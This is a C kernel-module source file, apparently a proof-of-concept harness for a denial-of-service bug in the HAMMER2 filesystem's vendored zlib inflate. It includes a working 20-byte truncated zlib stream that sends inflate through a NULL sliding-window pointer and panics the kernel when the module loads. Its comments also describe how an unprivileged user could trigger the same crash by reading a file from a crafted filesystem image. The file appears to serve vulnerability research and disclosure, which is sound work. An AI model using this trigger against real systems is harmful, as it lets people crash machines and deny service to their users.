DF-0842 / df0842_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * DF-0842 harness -- deterministic reproduction of the missing sliding-window * allocation in HAMMER2's vendored zlib inflate (hammer2_zlib_inflate.c * updatewindow(), lines 373-392). * * The in-kernel inflate never kmalloc()s state->window. When inflate() is fed * a zlib stream that produces SOME output but runs out of input mid-decode * (mode stays < CHECK), the inf_leave guard at line 1018-1019 calls * updatewindow(), which zmemcpy()s through state->window == NULL -> write to * virtual address 0 -> fatal page-fault panic. * * This harness drives the REAL in-kernel z_inflate* symbols (the exact * functions invoked by hammer2_strategy.c:257 hammer2_decompress_ZLIB_callback * on a ZLIB-compressed HAMMER2 data block), using a truncated but valid zlib * stream that decodes ~1.8KB of output before the input runs out. This is the * same primitive a crafted HAMMER2 image would reach when an unprivileged * user reads a file backed by a malformed ZLIB-compressed block. * * Build: see build.sh (kernel module, built in-guest against /usr/src/sys) * Run: see run.sh (kldload -> panic captured in serial boot.log) * * NOTE: this is a DoS / NULL-deref characterization harness. It is loaded by * root to exercise the in-kernel code path deterministically; the live * unprivileged trigger is read() of a malformed ZLIB HAMMER2 block (root fs is * HAMMER2, the callback ships in GENERIC). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> /* ---- z_stream, matching sys/vfs/hammer2/zlib/hammer2_zlib.h exactly ---- */ typedef unsigned char Bytef; typedef unsigned int uInt; typedef unsigned long uLong; struct internal_state; typedef struct z_stream_s { Bytef *next_in; /* z_const is empty in the kernel build */ uInt avail_in; uLong total_in; Bytef *next_out; uInt avail_out; uLong total_out; const char *msg; /* z_const char * */ struct internal_state *state; int data_type; uLong adler; uLong reserved; } z_stream; typedef z_stream *z_streamp; #define ZLIB_VERSION "1.2.8" #define Z_FINISH 4 #define Z_OK 0 #define Z_STREAM_END 1 #define Z_NULL 0 /* Real in-kernel symbols (renamed inflate -> z_inflate via zconf.h macros). */ extern int z_inflateInit_(z_streamp strm, const char *version, int stream_size); extern int z_inflate(z_streamp strm, int flush); extern int z_inflateEnd(z_streamp strm); #define OUTSZ 8192 /* * Truncated zlib stream: first 20 bytes of zlib.compress(b'A'*4096 + * b'B'*4096, 9). Valid zlib header (78 da = CMF/FLG, CM=8 CINFO=7 windowBits * 15, FCHECK ok, no dict). Decodes ~1.8KB of output ('A' bytes) then the * input is exhausted mid-block, so inflate() exits via inf_leave with * state->mode still < CHECK and out != avail_out. */ static const unsigned char trunc_stream[] = { 120, 218, 237, 193, 1, 9, 0, 0, 0, 2, 160, 109, 245, 127, 84, 63, 66, 77, 0, 0 }; static void df0842_run(void) { z_stream s; unsigned char *outbuf; int ret; outbuf = kmalloc(OUTSZ, M_TEMP, M_WAITOK | M_ZERO); kprintf("DF-0842: harness start -- about to call z_inflateInit_ " "(state->window will be NULL, wsize=0)\n"); bzero(&s, sizeof(s)); s.next_in = __DECONST(unsigned char *, trunc_stream); s.avail_in = sizeof(trunc_stream); s.next_out = outbuf; s.avail_out = OUTSZ; ret = z_inflateInit_(&s, ZLIB_VERSION, (int)sizeof(z_stream)); kprintf("DF-0842: inflateInit_ ret=%d (expect 0=Z_OK); now calling " "z_inflate(Z_FINISH) on a %zu-byte truncated stream\n", ret, sizeof(trunc_stream)); if (ret != Z_OK) { kprintf("DF-0842: inflateInit_ failed, aborting harness\n"); kfree(outbuf, M_TEMP); return; } /* * This call produces output, runs out of input mid-decode, falls through * to inf_leave, and calls updatewindow() -- which zmemcpy()s through * state->window == NULL. Expect: fatal trap / page fault, fault VA=0x0. */ ret = z_inflate(&s, Z_FINISH); /* If we reach here, the bug did NOT fire (e.g. already-fixed kernel). */ kprintf("DF-0842: z_inflate returned %d (NO PANIC -- window was allocated; " "bug is absent/fixed). avail_out=%u total_out=%lu\n", ret, s.avail_out, (unsigned long)s.total_out); z_inflateEnd(&s); kfree(outbuf, M_TEMP); } static int df0842_modevent(module_t mod __unused, int type, void *data __unused) { switch (type) { case MOD_LOAD: df0842_run(); return 0; case MOD_UNLOAD: return 0; default: return 0; } } static moduledata_t df0842_mod = { "df0842_harness", df0842_modevent, NULL }; DECLARE_MODULE(df0842_harness, df0842_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(df0842_harness, 1); |